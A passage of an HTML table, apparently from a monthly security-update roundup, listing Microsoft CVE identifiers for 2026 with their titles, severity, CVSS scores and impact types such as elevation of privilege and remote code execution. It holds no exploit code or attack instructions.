  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32217">CVE-2026-32217</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32218">CVE-2026-32218</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26169">CVE-2026-26169</a></td>
  <td>Windows Kernel Memory Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27929">CVE-2026-27929</a></td>
  <td>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32071">CVE-2026-32071</a></td>
  <td>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20930">CVE-2026-20930</a></td>
  <td>Windows Management Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26162">CVE-2026-26162</a></td>
  <td>Windows OLE Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33101">CVE-2026-33101</a></td>
  <td>Windows Print Spooler Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32084">CVE-2026-32084</a></td>
  <td>Windows Print Spooler Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27927">CVE-2026-27927</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26184">CVE-2026-26184</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32069">CVE-2026-32069</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32074">CVE-2026-32074</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32078">CVE-2026-32078</a></td>
  <td>Windows Projected File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26167">CVE-2026-26167</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32158">CVE-2026-32158</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32159">CVE-2026-32159</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32160">CVE-2026-32160</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26172">CVE-2026-26172</a></td>
  <td>Windows Push Notifications Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20928">CVE-2026-20928</a></td>
  <td>Windows Recovery Environment Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32216">CVE-2026-32216</a></td>
  <td>Windows Redirected Drive Buffering System Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27909">CVE-2026-27909</a></td>
  <td>Windows Search Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26161">CVE-2026-26161</a></td>
  <td>Windows Sensor Data Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26174">CVE-2026-26174</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32224">CVE-2026-32224</a></td>
  <td>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26154">CVE-2026-26154</a></td>
  <td>Windows Server Update Service (WSUS) Tampering Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Tampering</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26165">CVE-2026-26165</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26166">CVE-2026-26166</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27918">CVE-2026-27918</a></td>
  <td>Windows Shell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32151">CVE-2026-32151</a></td>
  <td>Windows Shell Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32225">CVE-2026-32225</a></td>
  <td>Windows Shell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32202">CVE-2026-32202</a></td>
  <td>Windows Shell Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32082">CVE-2026-32082</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32083">CVE-2026-32083</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32068">CVE-2026-32068</a></td>
  <td>Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32183">CVE-2026-32183</a></td>
